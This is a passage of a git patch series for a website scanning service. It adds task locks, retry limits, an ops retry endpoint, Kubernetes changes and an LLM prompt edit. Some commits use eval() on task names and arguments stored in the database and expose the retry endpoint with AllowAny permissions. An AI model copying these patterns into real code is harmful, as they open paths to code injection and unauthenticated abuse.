         node_index = kwargs.get('node_index')
    
-    # save sys data
-    record_task(
+    # save & check sys data
+    max_reached = record_task(
         resource_type='scan',
         resource_id=str(scan_id),
         task_id=str(self.request.id),
@@ -1003,6 +1007,11 @@ def run_html_and_logs_bg(
             'node_index': str(node_index) if node_index is not None else None
         }
     )
+
+    # return early if max_attempts reached
+    if max_reached:
+        print('max attempts reach for html & logs component')
+        return None
     
     # run html and logs component
     _html_and_logs(scan_id, test_id, alert_id, flowrun_id, node_index)
@@ -1050,7 +1059,7 @@ def run_vrt_bg(
         node_index = kwargs.get('node_index')
    
     # save sys data
-    record_task(
+    max_reached = record_task(
         resource_type='scan',
         resource_id=str(scan_id),
         task_id=str(self.request.id),
@@ -1064,6 +1073,11 @@ def run_vrt_bg(
         }
     )
 
+    # return early if max_attempts reached
+    if max_reached:
+        print('max attempts reach for vrt component')
+        return None
+
     # run VRT component
     _vrt(scan_id, test_id, alert_id, flowrun_id, node_index)
 
@@ -1110,7 +1124,7 @@ def run_lighthouse_bg(
         node_index = kwargs.get('node_index')
    
     # save sys data
-    record_task(
+    max_reached = record_task(
         resource_type='scan',
         resource_id=str(scan_id),
         task_id=str(self.request.id),
@@ -1124,6 +1138,11 @@ def run_lighthouse_bg(
         }
     )
 
+    # return early if max_attempts reached
+    if max_reached:
+        print('max attempts reach for lighthouse component')
+        return None
+
     # run lighthouse component
     _lighthouse(scan_id, test_id, alert_id, flowrun_id, node_index)
 
@@ -1170,7 +1189,7 @@ def run_yellowlab_bg(
         node_index = kwargs.get('node_index')
    
     # save sys data
-    record_task(
+    max_reached = record_task(
         resource_type='scan',
         resource_id=str(scan_id),
         task_id=str(self.request.id),
@@ -1184,6 +1203,11 @@ def run_yellowlab_bg(
         }
     )
 
+    # return early if max_attempts reached
+    if max_reached:
+        print('max attempts reach for yellowlab component')
+        return None
+
     # run yellowlab component
     _yellowlab(scan_id, test_id, alert_id, flowrun_id, node_index)
 

From 4c82b593bc822e8b5a34b5830d4126f9c9ae53b0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 7 Apr 2025 10:03:37 -0600
Subject: [PATCH 0897/1099] update: reduced task retry interval to 10 min

---
 app/api/management/commands/create_tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/management/commands/create_tasks.py b/app/api/management/commands/create_tasks.py
index 4eb52fd5..dafb0c32 100644
--- a/app/api/management/commands/create_tasks.py
+++ b/app/api/management/commands/create_tasks.py
@@ -14,7 +14,7 @@ def handle(self, *args, **options):
 
         tasks = [
             {
-                'every': 2,
+                'every': 10,
                 'period': IntervalSchedule.MINUTES,
                 'name': 'Redeliver Failed Tasks',
                 'task': 'api.tasks.redeliver_failed_tasks'

From ed31a799f22e4cdf405db8e1a13f920cd056f4a5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 7 Apr 2025 10:03:59 -0600
Subject: [PATCH 0898/1099] update: added task lock for each scan component
 task

---
 app/api/tasks.py | 182 ++++++++++++++++++++++++++---------------------
 1 file changed, 99 insertions(+), 83 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 6982a4e2..09b48b6f 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -992,29 +992,33 @@ def run_html_and_logs_bg(
         alert_id = kwargs.get('alert_id')
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
-   
-    # save & check sys data
-    max_reached = record_task(
-        resource_type='scan',
-        resource_id=str(scan_id),
-        task_id=str(self.request.id),
-        task_method=str(inspect.stack()[0][3]),
-        kwargs={
-            'scan_id': str(scan_id) if scan_id is not None else None,
-            'test_id': str(test_id) if test_id is not None else None, 
-            'alert_id': str(alert_id) if alert_id is not None else None,
-            'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-            'node_index': str(node_index) if node_index is not None else None
-        }
-    )
-
-    # return early if max_attempts reached
-    if max_reached:
-        print('max attempts reach for html & logs component')
-        return None
     
-    # run html and logs component
-    _html_and_logs(scan_id, test_id, alert_id, flowrun_id, node_index)
+    # check redis task lock
+    lock_name = f"lock:html_and_logs_bg_{scan_id}"
+    with task_lock(lock_name) as lock_acquired:
+
+        # save & check sys data
+        max_reached = record_task(
+            resource_type='scan',
+            resource_id=str(scan_id),
+            task_id=str(self.request.id),
+            task_method=str(inspect.stack()[0][3]),
+            kwargs={
+                'scan_id': str(scan_id) if scan_id is not None else None,
+                'test_id': str(test_id) if test_id is not None else None, 
+                'alert_id': str(alert_id) if alert_id is not None else None,
+                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                'node_index': str(node_index) if node_index is not None else None
+            }
+        )
+
+        # return early if max_attempts reached
+        if max_reached:
+            print('max attempts reach for html & logs component')
+            return None
+        
+        # run html and logs component
+        _html_and_logs(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran html & logs component')
     return None
@@ -1057,29 +1061,33 @@ def run_vrt_bg(
         alert_id = kwargs.get('alert_id')
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
+
+    # check redis task lock
+    lock_name = f"lock:vrt_bg_{scan_id}"
+    with task_lock(lock_name) as lock_acquired:
    
-    # save sys data
-    max_reached = record_task(
-        resource_type='scan',
-        resource_id=str(scan_id),
-        task_id=str(self.request.id),
-        task_method=str(inspect.stack()[0][3]),
-        kwargs={
-            'scan_id': str(scan_id) if scan_id is not None else None,
-            'test_id': str(test_id) if test_id is not None else None, 
-            'alert_id': str(alert_id) if alert_id is not None else None,
-            'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-            'node_index': str(node_index) if node_index is not None else None
-        }
-    )
+        # save sys data
+        max_reached = record_task(
+            resource_type='scan',
+            resource_id=str(scan_id),
+            task_id=str(self.request.id),
+            task_method=str(inspect.stack()[0][3]),
+            kwargs={
+                'scan_id': str(scan_id) if scan_id is not None else None,
+                'test_id': str(test_id) if test_id is not None else None, 
+                'alert_id': str(alert_id) if alert_id is not None else None,
+                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                'node_index': str(node_index) if node_index is not None else None
+            }
+        )
 
-    # return early if max_attempts reached
-    if max_reached:
-        print('max attempts reach for vrt component')
-        return None
+        # return early if max_attempts reached
+        if max_reached:
+            print('max attempts reach for vrt component')
+            return None
 
-    # run VRT component
-    _vrt(scan_id, test_id, alert_id, flowrun_id, node_index)
+        # run VRT component
+        _vrt(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran vrt component')
     return None
@@ -1123,28 +1131,32 @@ def run_lighthouse_bg(
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
    
-    # save sys data
-    max_reached = record_task(
-        resource_type='scan',
-        resource_id=str(scan_id),
-        task_id=str(self.request.id),
-        task_method=str(inspect.stack()[0][3]),
-        kwargs={
-            'scan_id': str(scan_id) if scan_id is not None else None,
-            'test_id': str(test_id) if test_id is not None else None, 
-            'alert_id': str(alert_id) if alert_id is not None else None,
-            'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-            'node_index': str(node_index) if node_index is not None else None
-        }
-    )
+    # check redis task lock
+    lock_name = f"lock:lighthouse_bg_{scan_id}"
+    with task_lock(lock_name) as lock_acquired:
 
-    # return early if max_attempts reached
-    if max_reached:
-        print('max attempts reach for lighthouse component')
-        return None
+        # save sys data
+        max_reached = record_task(
+            resource_type='scan',
+            resource_id=str(scan_id),
+            task_id=str(self.request.id),
+            task_method=str(inspect.stack()[0][3]),
+            kwargs={
+                'scan_id': str(scan_id) if scan_id is not None else None,
+                'test_id': str(test_id) if test_id is not None else None, 
+                'alert_id': str(alert_id) if alert_id is not None else None,
+                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                'node_index': str(node_index) if node_index is not None else None
+            }
+        )
+
+        # return early if max_attempts reached
+        if max_reached:
+            print('max attempts reach for lighthouse component')
+            return None
 
-    # run lighthouse component
-    _lighthouse(scan_id, test_id, alert_id, flowrun_id, node_index)
+        # run lighthouse component
+        _lighthouse(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran lighthouse component')
     return None
@@ -1187,29 +1199,33 @@ def run_yellowlab_bg(
         alert_id = kwargs.get('alert_id')
         flowrun_id = kwargs.get('flowrun_id')
         node_index = kwargs.get('node_index')
-   
-    # save sys data
-    max_reached = record_task(
-        resource_type='scan',
-        resource_id=str(scan_id),
-        task_id=str(self.request.id),
-        task_method=str(inspect.stack()[0][3]),
-        kwargs={
-            'scan_id': str(scan_id) if scan_id is not None else None,
-            'test_id': str(test_id) if test_id is not None else None, 
-            'alert_id': str(alert_id) if alert_id is not None else None,
-            'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
-            'node_index': str(node_index) if node_index is not None else None
-        }
-    )
+    
+    # check redis task lock
+    lock_name = f"lock:yellowlab_bg_{scan_id}"
+    with task_lock(lock_name) as lock_acquired:
+    
+        # save sys data
+        max_reached = record_task(
+            resource_type='scan',
+            resource_id=str(scan_id),
+            task_id=str(self.request.id),
+            task_method=str(inspect.stack()[0][3]),
+            kwargs={
+                'scan_id': str(scan_id) if scan_id is not None else None,
+                'test_id': str(test_id) if test_id is not None else None, 
+                'alert_id': str(alert_id) if alert_id is not None else None,
+                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                'node_index': str(node_index) if node_index is not None else None
+            }
+        )
 
-    # return early if max_attempts reached
-    if max_reached:
-        print('max attempts reach for yellowlab component')
-        return None
+        # return early if max_attempts reached
+        if max_reached:
+            print('max attempts reach for yellowlab component')
+            return None
 
-    # run yellowlab component
-    _yellowlab(scan_id, test_id, alert_id, flowrun_id, node_index)
+        # run yellowlab component
+        _yellowlab(scan_id, test_id, alert_id, flowrun_id, node_index)
 
     logger.info('ran yellowlab component')
     return None

From 9c2b07693824acfe048a133f6fff12d2c3aa6ba3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 7 Apr 2025 10:04:33 -0600
Subject: [PATCH 0899/1099] update: added new scan retry endpoint

---
 app/api/v1/ops/services.py | 24 ++++++++++++++++++++++++
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 11 +++++++++++
 3 files changed, 36 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 36243aef..b7e604ab 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2089,6 +2089,30 @@ def get_scans_zapier(request: object=None) -> object:
 
 
 
+def retry_failed_scans(request: object=None) -> object:
+    """ 
+    Using `tasks.redeliver_failed_tasks()`, retries any
+    `Scan` component that has "failed" and has not reached
+    MAX_ATTEMPTS.
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # init rety 
+    redeliver_failed_tasks()
+
+    # return response
+    data = {'message': 'redelivered failed tasks'}
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Test Services ------ ###
 
 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index 25556d7d..e21ae10e 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -18,6 +18,7 @@
     path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'),
     path('scans/create', views.ScansCreate.as_view(), name='scans-create'),
     path('scans/zapier', views.ScansZapier.as_view(), name='scans-zapier'),
+    path('scans/retry', views.ScansRetry.as_view(), name='scans-retry'),
     path('test', views.Tests.as_view(), name='test'),
     path('test/<uuid:id>', views.TestDetail.as_view(), name='test-detail'),
     path('test/<uuid:id>/lean', views.TestLean.as_view(), name='test-lean'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index aa078c50..097e67aa 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -228,6 +228,17 @@ def get(self, request):
 
 
 
+class ScansRetry(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = retry_failed_scans(request)
+        return response
+
+
+
+
 ### ------ Begin Test Views ------ ###
 
 

From 628056b68b514e2683ce5c20abcee8a7c84b0adb Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 7 Apr 2025 10:05:32 -0600
Subject: [PATCH 0900/1099] update: increased resource allocations & limits for
 new node pool

---
 k8s/prod/celery-deployment.yaml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index e2a2905e..858da464 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -37,11 +37,11 @@ spec:
                   fieldPath: metadata.name
           resources:
             limits:
-              cpu: "1"
-              memory: "2.5Gi"
+              cpu: "2"
+              memory: "6Gi"
             requests:
-              cpu: ".75"
-              memory: "1.5Gi"
+              cpu: "1"
+              memory: "4Gi"
           lifecycle:
             preStop:
               exec:

From d7f8eebd5b5bb6390ede8bcf2825661526b15166 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 7 Apr 2025 10:06:26 -0600
Subject: [PATCH 0901/1099] update: added new CronJob for external task retry

---
 k8s/prod/tasks-cronjob.yml | 18 ++++++++++++++++++
 1 file changed, 18 insertions(+)
 create mode 100644 k8s/prod/tasks-cronjob.yml

diff --git a/k8s/prod/tasks-cronjob.yml b/k8s/prod/tasks-cronjob.yml
new file mode 100644
index 00000000..dcd3c683
--- /dev/null
+++ b/k8s/prod/tasks-cronjob.yml
@@ -0,0 +1,18 @@
+apiVersion: batch/v1
+kind: CronJob
+metadata:
+  name: tasks-cronjob
+spec:
+  schedule: "*/5 * * * *"  # every 5 minutes
+  jobTemplate:
+    spec:
+      template:
+        spec:
+          containers:
+          - name: retry-tasks
+            image: curlimages/curl:latest
+            args:
+            - /bin/sh
+            - -c
+            - curl -X GET https://api.cursion.dev/v1/ops/scans/retry
+          restartPolicy: OnFailure

From c6fb5348d0008a43d6d5b7f4decf73c5536ca59a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 7 Apr 2025 10:59:32 -0600
Subject: [PATCH 0902/1099] update: added log limits for "completed" & "failed"
 pods

---
 k8s/prod/tasks-cronjob.yml | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/k8s/prod/tasks-cronjob.yml b/k8s/prod/tasks-cronjob.yml
index dcd3c683..c5e4542f 100644
--- a/k8s/prod/tasks-cronjob.yml
+++ b/k8s/prod/tasks-cronjob.yml
@@ -4,6 +4,8 @@ metadata:
   name: tasks-cronjob
 spec:
   schedule: "*/5 * * * *"  # every 5 minutes
+  successfulJobsHistoryLimit: 1
+  failedJobsHistoryLimit: 1
   jobTemplate:
     spec:
       template:

From 9c9e10a09cf72042ce95ce1a8535d4c4615a7734 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 15 Apr 2025 14:03:42 -0600
Subject: [PATCH 0903/1099] update: added "name" tag

---
 docker-compose.dev.yml   | 1 +
 docker-compose.stage.yml | 1 +
 docker-compose.yml       | 1 +
 3 files changed, 3 insertions(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 5809dd5d..2281c003 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -1,3 +1,4 @@
+name: cursion
 services:
 
 
diff --git a/docker-compose.stage.yml b/docker-compose.stage.yml
index 17445786..9c21a48c 100644
--- a/docker-compose.stage.yml
+++ b/docker-compose.stage.yml
@@ -1,3 +1,4 @@
+name: cursion
 services:
   
 
diff --git a/docker-compose.yml b/docker-compose.yml
index c7736c43..52c40e94 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -1,3 +1,4 @@
+name: cursion
 services:
   
 

From b0fce06d4d7836f833732e77c929530258d9237b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 15 Apr 2025 14:04:34 -0600
Subject: [PATCH 0904/1099] update: adjusted for "name" tag in compose

---
 setup/scripts/local.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index 38d60f91..8d822ade 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -6,10 +6,10 @@
 cd $CURSION_ROOT &&
 {   
     docker compose -f docker-compose.yml down &&
-    docker volume rm server_server server_beat server_celery &&
+    docker volume rm cursion_server cursion_beat cursion_celery &&
     docker compose -f docker-compose.yml up --build
 } || {
-    docker volume rm server_server server_beat server_celery &&
+    docker volume rm cursion_server cursion_beat cursion_celery &&
     docker compose -f docker-compose.yml up --build
 } || {
     docker compose -f docker-compose.yml up --build

From 77631770e377d5dec7eab5665210f9a1e098f0ce Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 15 Apr 2025 14:05:31 -0600
Subject: [PATCH 0905/1099] update: adjusted prompt to account for false
 positives

---
 app/api/utils/imager.py | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 4e486384..f2ade535 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -462,11 +462,12 @@ class Result(BaseModel):
                             Respond with a few sentance summary about what has changed. \
                             Look for changes in pictures, buttons, forms, vertial shifts, etc. \
                             Respond also with a boolean that is TRUE if the page should be considered broken. \
-                            Consider any emerging portions that appear to be unrendered HTML \
+                            Consider any emerging portions that appear to be unrendered HTML a breaking change. \
                             If the same text is present in both images, then DO NOT consider it a 'breaking change'. \
                             Only consider 'breaking changes' on the second image. \
-                            DO NOT consider new or altered text to a 'breaking change'. \
+                            DO NOT consider new or altered text to be a 'breaking change'. \
                             DO NOT consider text changes within images or pictures on the webpage. \
+                            DO NOT consider minor shifts (only a few pixels) to be a 'breaking change'. \
                             Ignore portions that appear to be advertizements. \
                             Please be somewhat strict with the analysis. \
                             Format response as a JSON object with 'summary': <string>, 'broken': <bool>"         

From 2094245a3d241db455af9ba8aae00fc629f4050d Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 15 Apr 2025 14:06:02 -0600
Subject: [PATCH 0906/1099] update: check for str('None') values

---
 app/api/utils/alerter.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/alerter.py b/app/api/utils/alerter.py
index 00021d4a..eb9180ee 100644
--- a/app/api/utils/alerter.py
+++ b/app/api/utils/alerter.py
@@ -33,7 +33,7 @@ def __init__(
             task_type: str=None
         ):
     
-        self.alert = Alert.objects.get(id=alert_id) if alert_id else None
+        self.alert = Alert.objects.get(id=alert_id) if (alert_id and alert_id != 'None') else None
         self.expressions = self.alert.expressions if self.alert else expressions
         self.task_type = self.alert.schedule.task_type if self.alert else task_type
         self.object_id = object_id

From 227d52bb6100dfe3abb5957284f675862d0a4436 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 15 Apr 2025 14:07:16 -0600
Subject: [PATCH 0907/1099] update: added `Tests` to `task_rety` & restructured
 endpoint

---
 app/api/models.py               |   2 +
 app/api/signals.py              |  38 +++++-
 app/api/tasks.py                | 213 +++++++++++++++++++++++++-------
 app/api/utils/scanner.py        |  36 +-----
 app/api/utils/tester.py         |   2 +-
 app/api/v1/ops/services.py      |  47 ++++---
 app/api/v1/ops/urls.py          |   2 +-
 app/api/v1/ops/views.py         |  27 ++--
 k8s/prod/app-deployment.yaml    |   8 +-
 k8s/prod/celery-deployment.yaml |  21 ++--
 k8s/prod/tasks-cronjob.yml      |   2 +-
 11 files changed, 267 insertions(+), 131 deletions(-)

diff --git a/app/api/models.py b/app/api/models.py
index 3918ea3a..4a1a14df 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -518,6 +518,8 @@ class Test(models.Model):
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
     pre_scan_configs = models.JSONField(serialize=True, null=True, blank=True)
     post_scan_configs = models.JSONField(serialize=True, null=True, blank=True)
+    system = models.JSONField(serialize=True, null=True, blank=True, default=get_system_default)
+
 
     def __str__(self):
         return f'{self.id}_test'
diff --git a/app/api/signals.py b/app/api/signals.py
index 72a9bd39..e65aeccf 100644
--- a/app/api/signals.py
+++ b/app/api/signals.py
@@ -1,7 +1,7 @@
 from django.db.models.signals import post_save
 from django.dispatch import receiver
 from .utils.flowr import Flowr
-from .tasks import case_pre_run_bg
+from .tasks import case_pre_run_bg, run_test
 from .models import *
 from cursion import settings
 
@@ -40,7 +40,7 @@ def case_created(sender, instance, created, **kwargs):
         # check if Case has processed
         if not case.processed:
 
-            # create process objw
+            # create process obj
             process = Process.objects.create(
                 site=case.site,
                 type='case.pre_run',
@@ -57,4 +57,36 @@ def case_created(sender, instance, created, **kwargs):
 
     # return None
     return None
-        
\ No newline at end of file
+        
+
+
+
+@receiver(post_save, sender=Scan)
+def post_scan_completed(sender, instance, created, **kwargs):
+    
+    # defing instance as Scan
+    scan = instance
+    
+    # check location & created
+    if settings.LOCATION == 'us' and not created:
+
+        # check scan.time_completed & Test association
+        if scan.time_completed and Test.objects.filter(post_scan=scan).exists():
+
+            # build args from scan.system data
+            alert_id    = scan.system['tasks'][0]['kwargs'].get('alert_id')
+            flowrun_id  = scan.system['tasks'][0]['kwargs'].get('flowrun_id')
+            node_index  = scan.system['tasks'][0]['kwargs'].get('node_index')
+            
+            # start new Test run
+            test = Test.objects.filter(post_scan=scan)[0]
+            run_test.delay(
+                test_id     = str(test.id),
+                alert_id    = alert_id,
+                flowrun_id  = flowrun_id,
+                node_index  = node_index
+            )
+        
+
+    # return None
+    return None    
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 09b48b6f..a6a7e0b1 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -170,6 +170,29 @@ def check_location(location: str) -> bool:
 
 
 
+def update_schedule(task_id: str=None) -> None:
+    """
+    Helper function to update Schedule.time_last_run
+
+    Expects: {
+        task_id: str
+    }
+
+    Returns: None
+    """
+    if task_id:
+        try:
+            last_run = datetime.now(timezone.utc)
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
+    return None
+
+
+
+
 def record_task(
         resource_type: str=None, 
         resource_id: str=None, 
@@ -242,33 +265,10 @@ def record_task(
 
 
 
-def update_schedule(task_id: str=None) -> None:
-    """
-    Helper function to update Schedule.time_last_run
-
-    Expects: {
-        task_id: str
-    }
-
-    Returns: None
-    """
-    if task_id:
-        try:
-            last_run = datetime.now(timezone.utc)
-            Schedule.objects.filter(periodic_task_id=task_id).update(
-                time_last_run=last_run
-            )
-        except Exception as e:
-            print(e)
-    return None
-
-
-
-
 @shared_task()
 def redeliver_failed_tasks() -> None:
     """ 
-    Check each un-completed resource (mainly scans for now) 
+    Check each un-completed resource (Scans & Tests) 
     for any celery tasks which are no longer executing & 
     associated resource.component is null. Once found, 
     re-run those specific tasks with saved kwargs.
@@ -278,8 +278,9 @@ def redeliver_failed_tasks() -> None:
     Returns: None
     """
 
-    # get uncompleted Scans
+    # get uncompleted Scans & Tests
     scans = Scan.objects.filter(time_completed=None)
+    tests = Test.objects.filter(time_completed=None)
 
     # get executing_tasks
     i = celery.app.control.inspect()
@@ -321,6 +322,24 @@ def redeliver_failed_tasks() -> None:
                 if task['attempts'] < settings.MAX_ATTEMPTS:
                     print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
                     eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
+        
+     # iterate through each test and re-run if failed
+    for test in tests:
+
+        # check for localization
+        if settings.LOCATION != 'us':
+            continue
+
+        # check each task in system['tasks']
+        for task in test.system.get('tasks', []):
+            
+            # re-run task if not in executing_tasks
+            if task['task_id'] not in executing_tasks:
+                
+                # check for max attempts
+                if task['attempts'] < settings.MAX_ATTEMPTS:
+                    print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
+                    eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
 
     return None
 
@@ -793,9 +812,9 @@ def create_scan(
 
     # run scan and alert if necessary
     scan = S(scan=created_scan).build_scan()
-    if alert_id:
+    if alert_id and alert_id != 'None':
         print('running alert from `task.create_scan`')
-        Alerter(alert_id, scan.id).run_alert()
+        Alerter(alert_id=alert_id, object_id=scan.id).run_alert()
     
     logger.info('Created new scan of site')
     return None
@@ -997,6 +1016,11 @@ def run_html_and_logs_bg(
     lock_name = f"lock:html_and_logs_bg_{scan_id}"
     with task_lock(lock_name) as lock_acquired:
 
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
+
         # save & check sys data
         max_reached = record_task(
             resource_type='scan',
@@ -1065,6 +1089,11 @@ def run_vrt_bg(
     # check redis task lock
     lock_name = f"lock:vrt_bg_{scan_id}"
     with task_lock(lock_name) as lock_acquired:
+
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
    
         # save sys data
         max_reached = record_task(
@@ -1135,6 +1164,11 @@ def run_lighthouse_bg(
     lock_name = f"lock:lighthouse_bg_{scan_id}"
     with task_lock(lock_name) as lock_acquired:
 
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
+
         # save sys data
         max_reached = record_task(
             resource_type='scan',
@@ -1203,6 +1237,11 @@ def run_yellowlab_bg(
     # check redis task lock
     lock_name = f"lock:yellowlab_bg_{scan_id}"
     with task_lock(lock_name) as lock_acquired:
+
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
     
         # save sys data
         max_reached = record_task(
@@ -1234,26 +1273,107 @@ def run_yellowlab_bg(
 
 
 @shared_task(bind=True, base=BaseTaskWithRetry)
-def run_test(self, test_id: str, alert_id: str=None) -> None:
+def run_test(
+        self, 
+        test_id: str,
+        alert_id: str=None,
+        flowrun_id: str=None,
+        node_index: str=None ,
+        **kwargs
+    ) -> None:
     """ 
-    Helper function to shorted the code base 
-    when creating a `Test`.
+    Primary executor for running a `Test`.
+    Compatible with `FlowRuns`
 
     Expects: {
-        test_id    : str, 
-        alert_id   : str
+        test_id     : str, 
+        alert_id    : str,
+        flowrun_id  : str,
+        node_index  : str,
+        **kwargs
     }
     
     Returns -> None
     """
-    # get test 
-    test = Test.objects.get(id=test_id)
+    # sleeping random for DB 
+    time.sleep(random.uniform(2, 6))
+
+    # get kwargs data if no test_id
+    if test_id is None:
+        test_id = kwargs.get('test_id')
+        alert_id = kwargs.get('alert_id')
+        flowrun_id = kwargs.get('flowrun_id')
+        node_index = kwargs.get('node_index')
+    
+    # check redis task lock
+    lock_name = f"lock:run_test_{test_id}"
+    with task_lock(lock_name) as lock_acquired:
 
-    # execute test
-    test = T(test=test).run_test()
-    if alert_id:
-        print('running alert from `task.run_test`')
-        Alerter(alert_id, test.id).run_alert()
+        # checking if task is already running
+        if not lock_acquired:
+            logger.info('task is already running, skipping execution.')
+            return None
+
+        # save sys data
+        max_reached = record_task(
+            resource_type='test',
+            resource_id=str(test_id),
+            task_id=str(self.request.id),
+            task_method=str(inspect.stack()[0][3]),
+            kwargs={
+                'test_id': str(test_id), 
+                'alert_id': str(alert_id) if alert_id is not None else None,
+                'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                'node_index': str(node_index) if node_index is not None else None
+            }
+        )
+
+        # return early if max_attempts reached
+        if max_reached:
+            print('max attempts reach for Tester')
+            return None
+
+        # get test 
+        test = Test.objects.get(id=test_id)
+
+        # define objects for flowrun
+        objects = [{
+            'parent': str(test.page.id),
+            'id': str(test_id),
+            'status': 'working'
+        }]
+
+        # update flowrun
+        if flowrun_id and flowrun_id != 'None':
+            time.sleep(random.uniform(0.1, 5))
+            update_flowrun(**{
+                'flowrun_id': str(flowrun_id),
+                'node_index': node_index,
+                'message': f'starting test comparison algorithm for {test.page.page_url} | test_id: {str(test_id)}',
+                'objects': objects
+            })
+
+        # execute test
+        print('\n---------------\nScan Complete\nStarting Test...\n---------------\n')
+        test = T(test=test).run_test()
+
+        # update FlowRun if passed
+        if flowrun_id and flowrun_id != 'None':
+            objects[-1]['status'] = test.status
+            update_flowrun(**{
+                'flowrun_id': str(flowrun_id),
+                'node_index': node_index,
+                'message': (
+                    f'test for {test.page.page_url} completed with status: '+
+                    f'{"❌ FAILED" if test.status == 'failed' else "✅ PASSED"} | test_id: {str(test_id)}'
+                ),
+                'objects': objects
+            })
+
+        # execute Alert if passed
+        if alert_id and alert_id != 'None':
+            print('running alert from `task.run_test`')
+            Alerter(alert_id=alert_id, object_id=str(test.id)).run_alert()
 
     logger.info('Test completed')
     return None
@@ -1269,7 +1389,6 @@ def create_test(
         alert_id: str=None, 
         configs: dict=settings.CONFIGS, 
         type: list=settings.TYPES,
-        index: int=None,
         pre_scan: str=None,
         post_scan: str=None,
         tags: list=None,
@@ -1287,7 +1406,6 @@ def create_test(
         alert_id    : str, 
         configs     : dict, 
         type        : list,
-        index       : int,
         pre_scan    : str,
         post_scan   : str,
         tags        : list,
@@ -1444,7 +1562,12 @@ def create_test(
 
     # check if pre and post scan are complete and start test if True
     if pre_scan.time_completed is not None and post_scan.time_completed is not None:
-        run_test.delay(test_id=created_test.id, alert_id=alert_id)
+        run_test.delay(
+            test_id=created_test.id, 
+            alert_id=alert_id,
+            flowrun_id=flowrun_id,
+            node_index=node_index
+        )
     
     logger.info('Began Scan/Test process')
     return None
@@ -1694,7 +1817,7 @@ def create_report(
     resp = R(report=report).generate_report()
     
     # run alert
-    if alert_id:
+    if alert_id and alert_id != 'None':
